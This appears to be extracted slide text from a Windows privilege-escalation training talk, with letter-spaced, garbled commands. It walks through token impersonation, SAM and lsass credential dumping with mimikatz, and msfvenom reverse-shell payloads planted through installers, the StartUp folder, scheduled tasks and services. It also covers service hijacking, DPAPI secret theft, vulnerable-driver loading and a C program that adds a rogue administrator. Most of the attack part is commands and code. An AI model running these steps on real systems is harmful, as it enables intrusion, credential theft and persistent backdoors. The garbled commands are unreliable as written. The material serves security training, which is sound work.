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Objectives

acquiring privilege escalation methodology on Windows
systems

learning the most-used generic techniques
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Basic instinct

unusual files/folders in C:

local users

local groups (especially administrators)

local services

drives

installed applications



Basic instinct

example

PS> whoami / a l l
PS> net u s e r
PS> net l o c a l g r o u p Adm i n i s t r a t o r s
PS> l s c :\
PS> n e t s t a t =ano
PS> wmic l o g i c a l d i s k ge t c ap t i o n
PS> r eg query HKLM\ So f tware
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Privileged groups

Current user member of Administrators

... well, well.
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Impersonating tokens

abusing SeImpersonatePrivilege

can impersonate anyone’s token on a local system

multiple ways of triggering it: Print Spoofer,
(Rotten—Juicy—Rogue)Potatoe, RogueWinRM...



Print Spoofer

prerequisite: user has SeImpersonatePrivilege

print spooler is enabled

example

PS> whoami / p r i v
PS> l s \\<host>\p i p e \ s p o o l s s



Print Spoofer

https://github.com/itm4n/PrintSpoofer

example

PS> .\ P r i n t S poo f e r . exe = i =c p owe r s h e l l . exe



Print Spoofer custom

less spotted by Microsoft Defender

run a fake printer server on a shell

run SpoolSample1 on another

example

PS 1> .\ MyPr intSpoofe r . exe
PS 2> .\ Pr in tSamp le <host> <host>

1https://github.com/leechristensen/SpoolSample



Arbitrary read

abusing SeBackupPrivilege

read any file on the system

e.g. create copies of SAM

extract privileged credentials from the backup

example

PS> r eg save HKLM\SAM SAM
PS> r eg save HKLM\SECURITY SECURITY
PS> r eg save HKLM\SYSTEM SYSTEM
$ sec re t sdump . py =sam SAM = s e c u r i t y SECURITY =system SYSTEM

l o c a l



Arbitrary write

abusing SeRestorePrivilege

write any file on the system

e.g. write existing service image path2

example

PS> SeRestoreAbuse . exe <pay load>

2https://github.com/xct/SeRestoreAbuse



Arbitrary write

example

i n t main ( )
{

. . .
HKEY hkey ;
RegCreateKeyExA (

HKEY LOCAL MACHINE ,
”SYSTEM\\Cu r r e n tCon t r o l S e t\\S e r v i c e s\\SecLogon ” ,
. . .
&hkey

) ;
. . .
RegSetValueExA (

hkey ,
” ImagePath ” ,
. . .
my value ,
my va lue . l e n g t h ( ) + 1

) ;
. . .

}



Take the ownership

abusing SeTakeOwnershipPrivilege

change owner of arbitrary ressource

change ACL of previous ressource

e.g. do the previous on SAM and SECURITY bases

example

PS> takeown / f ”C:\ windows\ system32 \ c o n f i g \SAM”
PS> i c a c l s ”C:\ windows\ system32 \ c o n f i g \SAM” / g ran t <use r >:F



Debug

abusing SeDebugPrivilege

debug higher integrity-level process

e.g. dump and grep lsass.exe memory

example

PS> procdump . exe =a c c e p t e u l a =ma l s a s s . exe l s a s s . dump
mimikatz # s e k u r l s a : : minidump l s a s s . dump
mimikatz # s e k u r l s a : : l ogonpas swo rd s
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AlwaysInstallElevated

grants privileges on application during installation

not the default configuration on modern systems

example

PS> r eq query HKLM\SOFTWARE\ P o l i c i e s \Mic r o s o f t \Windows\
I n s t a l l e r /v A l w a y s I n s t a l l E l e v a t e d

PS> r eq query HKCU\SOFTWARE\ P o l i c i e s \Mic r o s o f t \Windows\
I n s t a l l e r /v A l w a y s I n s t a l l E l e v a t e d



AlwaysInstallElevated

forge a MSI installer and execute it

example

$ msfvenom =p windows/x64/ s h e l l r e v e r s e t c p LHOST=<host>
LPORT=<port> =a x64 =f msi =o rogue . msi

PS> .\ rogue . msi
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StartUp folder overwrite

folder of automatically started applications after machine boot

executed as SYSTEM

example

PS> i c a c l s ”C:\ ProgramData\Mic r o s o f t \Windows\ S t a r t Menu\
Programs\ Sta r tup ”



StartUp folder overwrite

create a malicious exe and place it in StartUp

reboot (needs SeShutdownPrivilege)

example

$ msfvenom =p windows/x64/ s h e l l r e v e r s e t c p LHOST=<host>
LPORT=<port> =a x64 =f exe =o rogue . exe

PS> cp rogue . exe ”C:\ ProgramData\Mic r o s o f t \Windows\ S t a r t
Menu\Programs\ Sta r tup ”
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Scheduled tasks

wrong permissions given to binaries/scripts used by privileged
scheduled tasks

example

PS> s c h t a s k s / query / fo LIST /v
PS> i c a c l s <bin >. exe
PS> l s C :\Windows\Tasks



Scheduled tasks



Scheduled tasks

change legit binary/script with a rogue one

wait for or provoke task execution

example

$ msfvenom =p windows/x64/ s h e l l r e v e r s e t c p LHOST=<host>
LPORT=<port> =a x64 =f exe =o rogue . exe

PS> cp rogue . exe C:\ some\ l e g i t \ path \ to\<bin >. exe
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Services

unquoted paths

wrong permissions on services’ configurations

wrong permissions on binaries

example

PS> wmic s e r v i c e ge t name , d i sp layname , pathname , s ta r tmode |
f i n d s t r / i ” auto ” | f i n d s t r / i /v ”c :\ windows”



Services



Unquoted path

Windows wizardy on path resolution

if there is a space in a folder name and you can write on that
part of the path, it is vulnerable

drastically reduced impact since unprivileged users cannot
write to C:\ by default anymore

example

# Path i s C :\ Program F i l e s \ L e g i t Company\whatever . exe
PS> cp rogue . exe ”C:\ Program F i l e s \ L e g i t . exe ”



Service configuration

any attribute of the configuration can be changed: executing
user, binary path

change user to a privileged one and path to a rogue binary

restart the service or reboot the machine

example

PS> s c . exe qc mys e r v i c e
PS> s c . exe c o n f i g my s e r v i c e ob j= ” Loca lSystem ”
PS> s c . exe c o n f i g my s e r v i c e b i npa th= ”C:\ path \ to \ rogue . exe ”



Service binary

change legit binary with a rogue one

restart service or reboot machine

example

PS> s c . exe qc mys e r v i c e
BINARY PATH NAME : ”C:\ some\ l e g i t \ path \ to\<bin >. exe ”
PS> i c a c l s C :\ some\ l e g i t \ path \ to\<bin >. exe
PS> cp rogue . exe C:\ some\ l e g i t \ path \ to\<bin >. exe



Service binary path

stored in HKLM\System\CurrentControlSet\Services\<service>\ImagePath

if you can write a service key, replace the ImagePath to point
to a rogue binary

example

PS> r eg query HKLM\System\ Cu r r e n tCon t r o l S e t \ S e r v i c e s / s /v
ImagePath
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Autoruns

registry entries describing application to be started
automatically when Windows starts

example

PS> r eg query HKLM\ So f tware \Mic r o s o f t \Windows\ Cu r r e n tVe r s i o n
\Run

PS> r eg query HKLM\ So f tware \Mic r o s o f t \Windows\ Cu r r e n tVe r s i o n
\RunOnce

PS> r eg query HKLM\ So f tware \Wow6432Node\Mic r o s o f t \Windows\
Cu r r e n tVe r s i o n \Run

PS> r eg query HKLM\ So f tware \Wow6432Node\Mic r o s o f t \Windows\
Cu r r e n tVe r s i o n \RunOnce

. . .



Autoruns

change legit binary/script with a rogue one

example

PS> r eg query HKLM\ So f tware \Mic r o s o f t \Windows\ Cu r r e n tVe r s i o n
\Run

L e g i t S t u f f REG EXPAND SZ C:\ some\ path \ to \ l e g i t . exe
PS> i c a c l s C :\ some\path \ to \ l e g i t . exe
PS> cp rogue . exe C:\ some\path \ to \ l e g i t . exe
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Credential Manager

Credential Manager of Windows

reuse cached credentials

example

PS> cmdkey / l i s t
PS> runas / s a v e c r e d / u s e r :WHATEVER\Adm in i s t r a t o r cmd . exe



Winlogon

default credentials for logon

occur often on shared machines in companies/shops

example

PS> r eg query ”HKLM\SOFTWARE\Mic r o s o f t \Windows NT\
Cu r r e n tVe r s i o n \Winlogon” /v ( DefaultUserName |
Defau l tPas sword )



DPAPI

Yet another Windows vault

logon password → master keys → app secrets

example

# l i s t s e c r e t s
PS> l s =h idden $env : l o c a l a p pd a t a \Mic r o s o f t \ c r e d e n t i a l s
# l i s t master keys
PS> l s =h idden $env : appdata \Mic r o s o f t \Pro t e c t\<SID>

mimikatz # dpap i : : c r ed / i n :”% l o c a l a p pd a t a%\Mic r o s o f t \
c r e d e n t i a l s \<key id>”

mimikatz # dpap i : : maste rkey / i n :”%appdata%\Mic r o s o f t \Pro t e c t
\<SID>\<key id>” / unp r o t e c t OR /password :< u s e r p a s s> OR /
rpc

mimikatz # dpap i : : c r ed / i n :”% l o c a l a p pd a t a%\Mic r o s o f t \
c r e d e n t i a l s \<key>” /maste rkey :< p r i v k e y>



DPAPI - Credential Manager



DPAPI - Listing keys



DPAPI - Getting associated master key ID



DPAPI - Listing master keys



DPAPI - Decrypting master key (with user password)



DPAPI - Decrypting target key
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answer files

”Answer file”: installation file really

Windows look for it at specific locations

file name is supposed to be unattend.xml or
autounattend.xml

example

PS> l s %WINDIR%\Panther \Unattend %WINDIR%\Panther %WINDIR%\
System32\ Sysprep %SYSTEMDRIVE%
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Registry copies

usually forgotten by sysadmins

extract creds from it

example

PS> g c i =path C:\ =r e c u r s e = f i l t e r SAM
PS> g c i =path C:\ =r e c u r s e = f i l t e r SYSTEM
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PowerShell history

stored on a per-user basis

look for passwords on command line

example

PS> ( Get=PSReadLineOption ) . H i s to r ySavePath
C:\ Use r s\<use r>\AppData\Roaming\Mic r o s o f t \Windows\PowerShe l l

\PSReadLine\ Con so l eHo s t H i s t o r y . t x t



PowerShell extra logs

used for detection/IR

also contains portions of the executed scripts

scripts often contain clear-text secrets

example

PS> r eg query HKLM\ So f tware \ P o l i c i e s \Mic r o s o f t \Windows\
PowerShe l l \ModuleLogging

PS> Get=WinEvent =LogName ”windows p owe r s h e l l ” | s e l e c t =

F i r s t 20 | out=g r i d v i ew
PS> r eg query HKLM\ So f tware \ P o l i c i e s \Mic r o s o f t \Windows\

PowerShe l l \ Sc r i p tB l o c kLogg i n g
PS> Get=WinEvent =LogName ”Mic ro so f t=Windows=Powe r s h e l l \

Ope r a t i o n a l ” | s e l e c t =F i r s t 20 | out=g r i d v i ew



Custom cleartext secrets

user files with cleartext secrets

”it was more handy” full-of-secrets
text/word/excel/notepad++ files

automatize3

example

PS> l s C :\ Use r s\<use r>\ C:\ Use r s\<use r>\Documents C :\ Use r s\<
use r>\Downloads . . .

PS> s au roneye . exe =d C:\ Use r s\<use r>\ == f i l e t y p e s . t x t . doc
. docx . x l s . x l s x ==con t en t s ==keywords ”passw” =v

3https://github.com/vivami/SauronEye



In-clear secrets



Outline

1 Introduction

2 Some recon

3 Excessive privileges

4 Wrong permissions

5 Credential harvesting
Saved credentials
Installation files
Registry copies
Console history
Processes

6 Userland exploits

7 Kernel exploits

8 Miscellaneous

9 Conclusion



Command line

look for credentials on process command-line

example

PS> Get=WmiObject w i n32 p r o c e s s | s e l e c t Creat ionDate ,
P roce s s I d , CommandLine | f t =AutoS ize



Memory dump

requires that target process has same integrity-level/owner

look for credentials in process memory

dump and grep

example

PS> procdump . exe =a c c e p t e u l a =ma <proc name>
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Userland exploits

depend on workstation/client patching level

check Microsoft vulnerabilities first (standard)

identify third-party software (more prone to vulnerabilities)

example

PS> s y s t em i n f o
PS> r eg query HKLM\ So f tware



MS stuff - CVE-2024-26229

vulnerability in Windows Client-Side Caching (CSC) service

PoC available4, patched

in short: wrong access permissions for CSC service, can be
abused with symlinks

4https://github.com/michredteam/PoC-26229



MS stuff - CVE-2024-26238

vulnerability in Microsoft PLUGScheduler: part of RUXIM,
Reusable UX Integration Manager, used by Windows Update

technique is public5

in short: arbitrary write file as SYSTEM because of poor ACL
on C:\ProgramData\PLUG\Logs

5https://www.synacktiv.com/en/advisories/windows-10-plugscheduler-
elevation-of-privileges
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Disclaimer

Disclaimer

impact on production

not always reliable



Kernel exploits

also depend on workstation/client patching level

badly written third-party drivers (very usual): antivirus,
specific hardware...

identify third-party drivers

badly written MS drivers (usual): graphical, handling of
specific devices...

core OS vulnerabilities (rarer, more impact): network stack...
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Kernel exploits

also depend on workstation/client patching level
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Patch level

identify CPU architecture, kernel version and patch level

example

PS> s y s t em i n f o



EternalBlue

WannaCry and NotPetya exploit

RCE in SMBv1 stack. Not really a LPE but can serve as such.

old systems (Windows Vista, Windows Server 2008 R2)

many PoC available6

6https://github.com/3ndG4me/AutoBlue-MS17-010



mskssrv.sys - CVE-2023-36802

vulnerability in Microsoft Kernel Streaming Server
(mskssrv.sys driver) used for virtualisation and sharing of
camera devices7

PoC available8

in short: object type confusion on calls to IOCTL functions
operating on stream objects

7https://securityintelligence.com/x-force/critically-close-to-zero-day-
exploiting-microsoft-kernel-streaming-service

8https://github.com/xforcered/Windows MSKSSRV LPE CVE-2023-36802
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Drivers

local administrator → SYSTEM (or seLoadDriverPrivilege)

list installed drivers

compare to known-vulnerable list9

load an old (signed) vulnerable driver and exploit it (Bring
Your Own Vulnerable Driver [BYOVD])

AV editors have blacklists

example

PS> d r i v e r q u e r y . exe / fo t a b l e

9https://www.loldrivers.io



Drivers

local administrator → SYSTEM (or seLoadDriverPrivilege)

list installed drivers

compare to known-vulnerable list9

load an old (signed) vulnerable driver and exploit it (Bring
Your Own Vulnerable Driver [BYOVD])

AV editors have blacklists

example

PS> d r i v e r q u e r y . exe / fo t a b l e

9https://www.loldrivers.io



Drivers

local administrator → SYSTEM (or seLoadDriverPrivilege)

list installed drivers

compare to known-vulnerable list9

load an old (signed) vulnerable driver and exploit it (Bring
Your Own Vulnerable Driver [BYOVD])

AV editors have blacklists

example

PS> d r i v e r q u e r y . exe / fo t a b l e

9https://www.loldrivers.io



Drivers

give a registry key to NTLoadDriver()

reg key contains the driver configuration: ImagePath, Type

tools available doing just that10

example

NTSTATUS NTLoadDriver (
I n PUNICODE STRING Dr i ve rSe rv i c eName

) ;

PS> EOPLOADDRIVER. exe System \\ Cu r r e n tCon t r o l S e t \\MyServ ice C
:\ Use r s \ p u b l i c \ rogue . s y s

10https://github.com/TarlogicSecurity/EoPLoadDriver
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DLL hijacking

look for privileged programs loading non-existent DLLs
(procmon11)

but also DLLs with rewritable path

replace it with a rogue DLL

obtain the target process privileges

11https://learn.microsoft.com/en-us/sysinternals/downloads/procmon
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AddUserProg.c

example

#de f i n e CRT SECURE NO WARNINGS
#i n c l u d e <p r o c e s s . h>
#i n c l u d e <s t d i o . h>
#i n c l u d e <s t r i n g . h>

i n t main ( )
{

i n t s t a t u s = system (” net u s e r rogue P@ssw0rd123 /add ”) ;
i f ( s t a t u s == =1)
{

p r i n t f (”%s ” , s t r e r r o r ( e r r n o ) ) ;
}

s t a t u s = system (” net l o c a l g r o u p a dm i n i s t r a t o r s rogue /add ”) ;
i f ( s t a t u s == =1)
{

p r i n t f (”%s ” , s t r e r r o r ( e r r n o ) ) ;
}

r e t u r n 0 ;
}



AddUserProg.exe



Outline

1 Introduction

2 Some recon

3 Excessive privileges

4 Wrong permissions

5 Credential harvesting

6 Userland exploits

7 Kernel exploits

8 Miscellaneous

9 Conclusion



Automation

WinPEAS12

SeatBelt13

JAWS14

PowerUp15

Sherlock16

12https://github.com/peass-ng/PEASS-ng
13https://github.com/GhostPack/Seatbelt
14https://github.com/411Hall/JAWS
15https://github.com/PowerShellMafia/PowerSploit
16https://github.com/rasta-mouse/Sherlock



What really works

credentials in files (scripts, configurations...)

wrong permissions on services, files, scheduled tasks, SMB
shares...

User-land/Kernel-land exploit + poor patch policy
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The End

Questions?
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